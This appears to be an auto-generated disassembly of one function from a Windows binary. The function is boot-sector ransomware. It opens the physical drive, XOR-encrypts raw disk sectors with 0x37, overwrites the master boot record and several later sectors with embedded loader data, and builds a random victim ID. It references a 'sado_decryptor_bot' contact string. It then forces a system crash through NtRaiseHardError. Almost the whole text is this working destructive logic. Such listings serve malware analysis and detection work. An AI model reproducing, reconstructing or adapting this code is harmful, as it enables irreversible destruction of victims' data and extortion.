Function at 0x401000
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Generate random numbers via winapi
Get common file path
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1308
call fcn.00402060
mov eax, dword [0x404004]
xor eax, esp
mov dword [esp + 0x1304], eax
push esi
push edi
push 0x104
lea eax, [esp + 0xe04]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov al, byte [esp + 0xe00]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 3
push 0
push 3
mov byte [esp + 0x188], al
lea eax, [esp + 0x184]
push 0
push eax
mov dword [esp + 0x18c], 0x5c2e5c5c
mov word [esp + 0x191], 0x3a
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401132
push 0
lea eax, [esp + 0x40]
push eax
push 0x20
lea eax, [esp + 0x144]
push eax
push 0
push 0
push 0x560000
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x200
push dword [esp + 0x154]
push dword [esp + 0x154]
call fcn.00401fb0
test edx, edx
jl 0x401132
jg 0x4010ca
cmp eax, 0x3c
jb 0x401132
mov ax, word [0x4030bc]
movups xmm0, xmmword [str..PhysicalDrive]
mov word [esp + 0x120], ax
add dword [esp + 0x140], 0x30
push 0
push 0
push 3
movzx eax, al
push 0
mov byte [esp + 0x17c], al
movzx eax, byte [esp + 0x150]
push 3
mov byte [esp + 0x181], al
lea eax, [esp + 0x170]
push 0x80100000
push eax
movups xmmword [esp + 0x178], xmm0
mov byte [esp + 0x18a], 0
call edi
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x40113a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x4030d8]
movups xmm0, xmmword [0x4030c0]
mov dword [esp + 0x30], eax
mov ax, word [0x4030dc]
mov word [esp + 0x2c], ax
movzx eax, byte [0x4030de]
movaps xmmword [esp + 0x50], xmm0
movq xmm0, qword [0x4030d0]
mov byte [esp + 0x12e], al
mov eax, dword [0x4030f8]
movq qword [esp + 0x40], xmm0
movups xmm0, xmmword [str._sado_decryptor_bot]
mov dword [esp + 0x20], eax
mov ax, word [0x4030fc]
mov word [esp + 0x18], ax
movzx eax, byte [0x4030fe]
movaps xmmword [esp + 0x60], xmm0
movq xmm0, qword [0x4030f0]
mov byte [esp + 0x12e], al
mov eax, 0x200
movq qword [esp + 0x100], xmm0
nop word [eax + eax]
dec eax
mov byte [esp + eax + 0x400], 0
test eax, eax
jg 0x4011c0
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
lea eax, [esp + 0x178]
push eax
push 8
push dword [esp + 0x24]
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
push dword [esp + 0x20]
call esi
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea eax, [esp + 0x1a0]
push eax
push 0x5a
push dword [esp + 0x24]
call edi
push 0
push dword [esp + 0x20]
call esi
xor ecx, ecx
mov esi, 0x3a
nop dword [eax]
movzx eax, byte [esp + ecx + 0x1a0]
xor edx, edx
div esi
movzx eax, byte [edx + str.123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]
xor edx, edx
mov byte [esp + ecx + 0x1a0], al
movzx eax, byte [esp + ecx + 0x1a1]
div esi
movzx eax, byte [edx + str.123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]
xor edx, edx
mov byte [esp + ecx + 0x1a1], al
movzx eax, byte [esp + ecx + 0x1a2]
div esi
movzx eax, byte [edx + str.123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]
xor edx, edx
mov byte [esp + ecx + 0x1a2], al
movzx eax, byte [esp + ecx + 0x1a3]
div esi
movzx eax, byte [edx + str.123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]
xor edx, edx
mov byte [esp + ecx + 0x1a3], al
movzx eax, byte [esp + ecx + 0x1a4]
div esi
movzx eax, byte [edx + str.123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]
xor edx, edx
mov byte [esp + ecx + 0x1a4], al
movzx eax, byte [esp + ecx + 0x1a5]
div esi
movzx eax, byte [edx + str.123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]
mov byte [esp + ecx + 0x1a5], al
add ecx, 6
cmp ecx, 0x5a
jl 0x401240
movups xmm0, xmmword [str.passwordpassword]
mov al, byte [0x403110]
xor edx, edx
mov byte [esp + 0x120], al
movups xmmword [esp + 0x110], xmm0
nop word [eax + eax]
mov cl, byte [esp + edx + 0x110]
lea eax, [ecx + 0x7a]
add cl, cl
mov byte [esp + edx*2 + 0x181], cl
mov cl, byte [esp + edx + 0x111]
mov byte [esp + edx*2 + 0x180], al
lea eax, [ecx + 0x7a]
add cl, cl
mov byte [esp + edx*2 + 0x183], cl
mov cl, byte [esp + edx + 0x112]
mov byte [esp + edx*2 + 0x182], al
lea eax, [ecx + 0x7a]
add cl, cl
mov byte [esp + edx*2 + 0x185], cl
mov cl, byte [esp + edx + 0x113]
mov byte [esp + edx*2 + 0x184], al
lea eax, [ecx + 0x7a]
add cl, cl
mov byte [esp + edx*2 + 0x186], al
mov byte [esp + edx*2 + 0x187], cl
add edx, 4
cmp edx, 0x10
jl 0x401310
movups xmm0, xmmword [esp + 0x180]
mov eax, dword [esp + 0x178]
lea esi, [esp + 0x1a0]
mov ecx, dword [esp + 0x17c]
lea edi, [esp + 0x4a9]
movups xmmword [esp + 0x401], xmm0
mov dword [esp + 0x421], eax
movups xmm0, xmmword [esp + 0x190]
mov eax, dword [esp + 0x30]
mov dword [esp + 0x441], eax
mov ax, word [esp + 0x2c]
movups xmmword [esp + 0x411], xmm0
mov word [esp + 0x445], ax
movaps xmm0, xmmword [esp + 0x50]
mov eax, dword [esp + 0x20]
movups xmmword [esp + 0x429], xmm0
mov dword [esp + 0x46b], eax
movq xmm0, qword [esp + 0x40]
mov ax, word [esp + 0x18]
movq qword [esp + 0x439], xmm0
movaps xmm0, xmmword [esp + 0x60]
movups xmmword [esp + 0x453], xmm0
mov dword [esp + 0x425], ecx
mov ecx, 0x16
movq xmm0, qword [esp + 0x100]
mov word [esp + 0x46f], ax
mov eax, 0x200
mov dword [esp + 0x44d], 0x20200a0d
mov word [esp + 0x451], 0x2020
movq qword [esp + 0x463], xmm0
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
nop dword [eax + eax]
dec eax
mov byte [esp + eax + 0x1108], 0x37
test eax, eax
jg 0x401460
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x3c]
push 0
push eax
push 0x90
lea eax, [esp + 0x7c]
push eax
push 0
push 0
push 0x70048
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x70]
test eax, eax
jne 0x401983
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
push eax
push 3
push eax
push 1
push 0x80000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0x80c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm2, xmmword [str.7777777777777777]
xor eax, eax
nop dword [eax + eax]
movups xmm0, xmmword [esp + eax + 0x800]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x800], xmm1
movups xmm0, xmmword [esp + eax + 0x810]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x810], xmm1
movups xmm0, xmmword [esp + eax + 0x820]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x820], xmm1
movups xmm0, xmmword [esp + eax + 0x830]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x830], xmm1
add eax, 0x40
cmp eax, 0x200
jl 0x401500
mov dword [esp + 0x18], 0x200
nop
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
push dword [esp + 0x20]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0x60c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm2, xmmword [str.7777777777777777]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [esp + eax + 0x600]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x600], xmm1
movups xmm0, xmmword [esp + eax + 0x610]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x610], xmm1
movups xmm0, xmmword [esp + eax + 0x620]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x620], xmm1
movups xmm0, xmmword [esp + eax + 0x630]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x630], xmm1
add eax, 0x40
cmp eax, 0x200
jl 0x4015d0
push 0
push 0x30000000
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
push dword [esp + 0x20]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x24]
push eax
push 0x200
lea eax, [esp + 0x60c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
add eax, 0x200
mov dword [esp + 0x18], eax
cmp eax, 0x4200
jle 0x401570
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0xc0c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [esp + 0xdb8]
mov eax, dword [esp + 0xdf8]
lea edi, [esp + 0x200]
mov ecx, 0x80
mov esi, 0x406008
rep movsd dword es:[edi], dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
movups xmmword [esp + 0x3b8], xmm0
mov dword [esp + 0x3f8], eax
movups xmm0, xmmword [esp + 0xdc8]
mov ax, word [esp + 0xdfc]
mov word [esp + 0x3fc], ax
movups xmmword [esp + 0x3c8], xmm0
movups xmm0, xmmword [esp + 0xdd8]
movups xmmword [esp + 0x3d8], xmm0
movups xmm0, xmmword [esp + 0xde8]
movups xmmword [esp + 0x3e8], xmm0
push 0
push 0x30000000
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x30000000
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
mov esi, eax
push 0x4400
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x2000
push 0x404008
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x30000000
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
mov esi, eax
push 0x6c00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0x40c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x30000000
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
mov esi, eax
push 0x6e00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0x1114]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x30000000
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
mov esi, eax
push 0x7000
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0x80c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x14]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [esp + 0x104]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0
lea eax, [esp + 0x10c]
mov dword [esp + 0x10c], 1
push eax
push 0
push dword [esp + 0x28]
mov dword [esp + 0x124], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push str.NTDLL.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtRaiseHardError
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x20]
push ecx
push 6
push 0
push 0
push 0
push 0xc0000350
call eax
add esp, 0x18
mov ecx, dword [esp + 0x130c]
pop edi
pop esi
xor ecx, esp
call fcn.00401e72
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x40196f
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
lea eax, [esp + 0x15c]
push 0
push 0
push 3
push 0
push 3
push 0
push eax
call edi
push 0
mov esi, eax
lea eax, [esp + 0x40]
push eax
push 0x18
lea eax, [esp + 0x11c]
push eax
push 0
push 0
push 0x70000
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
mov esi, eax
push 0x200
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0xf14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xf28]
mov ecx, dword [esp + 0xf2c]
mov dword [esp + 0x30], eax
mov dword [esp + 0x104], ecx
shld ecx, eax, 9
mov dword [esp + 0x1c], 0x21
shl eax, 9
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x18], eax
nop dword [eax + eax]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
push dword [esp + 0x34]
mov esi, eax
push dword [esp + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0xa0c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm2, xmmword [str.7777777777777777]
xor eax, eax
nop dword [eax]
movups xmm0, xmmword [esp + eax + 0xa00]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0xa00], xmm1
movups xmm0, xmmword [esp + eax + 0xa10]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0xa10], xmm1
movups xmm0, xmmword [esp + eax + 0xa20]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0xa20], xmm1
movups xmm0, xmmword [esp + eax + 0xa30]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0xa30], xmm1
add eax, 0x40
cmp eax, 0x200
jl 0x401ab0
push 0
push 0x30000000
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
push dword [esp + 0x34]
mov esi, eax
push dword [esp + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [esp + 0x24]
push eax
push 0x200
lea eax, [esp + 0xa0c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add dword [esp + 0x18], 0xfffffe00
adc dword [esp + 0x2c], 0xffffffff
sub dword [esp + 0x1c], 1
jne 0x401a50
mov esi, dword [esp + 0x120]
lea edi, [esp + 0x200]
imul esi, dword [esp + 0x11c]
xor edx, edx
mov eax, 0x80
push 0
push 0
push 3
div esi
xor edx, edx
mov ecx, eax
mov dword [esp + 0x2c], eax
imul ecx, esi
mov eax, 0x80
push 0
push 1
push 0x80000000
sub eax, ecx
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x2c], eax
add ecx, 0xffffff80
mov eax, ecx
div esi
mov edx, dword [esp + 0x138]
mov esi, 0x406008
imul edx, dword [esp + 0x134]
mov dword [esp + 0x30], eax
imul edx, eax
mov eax, dword [esp + 0x2c]
sub ecx, edx
xor edx, edx
div dword [esp + 0x138]
mov dword [esp + 0x34], ecx
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
mov byte [esp + 0x3d7], al
inc dl
mov eax, dword [esp + 0x38]
mov byte [esp + 0x3d9], al
mov eax, dword [esp + 0x34]
mov byte [esp + 0x3d8], dl
xor edx, edx
div dword [esp + 0x138]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov byte [esp + 0x3db], al
inc dl
mov eax, dword [esp + 0x30]
mov byte [esp + 0x3dd], al
mov eax, dword [esp + 0x48]
add eax, 0xffffff80
mov dword [esp + 0x3d0], 0x37373737
mov dword [esp + 0x3e2], eax
lea eax, [esp + 0x174]
push eax
mov byte [esp + 0x3da], 0x80
mov byte [esp + 0x3de], 7
mov byte [esp + 0x3e0], dl
mov dword [esp + 0x3e2], 0x80
call edi
push 0
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0x80c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm2, xmmword [str.7777777777777777]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [esp + eax + 0x800]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x800], xmm1
movups xmm0, xmmword [esp + eax + 0x810]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x810], xmm1
movups xmm0, xmmword [esp + eax + 0x820]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x820], xmm1
movups xmm0, xmmword [esp + eax + 0x830]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x830], xmm1
add eax, 0x40
cmp eax, 0x200
jl 0x401cd0
mov dword [esp + 0x18], 0x200
nop
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
push dword [esp + 0x20]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x18]
push eax
push 0x200
lea eax, [esp + 0x60c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm2, xmmword [str.7777777777777777]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [esp + eax + 0x600]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x600], xmm1
movups xmm0, xmmword [esp + eax + 0x610]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x610], xmm1
movups xmm0, xmmword [esp + eax + 0x620]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x620], xmm1
movups xmm0, xmmword [esp + eax + 0x630]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [esp + eax + 0x630], xmm1
add eax, 0x40
cmp eax, 0x200
jl 0x401da0
push 0
push 0x30000000
push 3
push 0
push 3
push 0xc0000000
lea eax, [esp + 0x174]
push eax
call edi
push 0
push 0
push dword [esp + 0x20]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [esp + 0x24]
push eax
push 0x200
lea eax, [esp + 0x60c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
add eax, 0x200
mov dword [esp + 0x18], eax
cmp eax, 0x4200
jle 0x401d40
jmp 0x40175e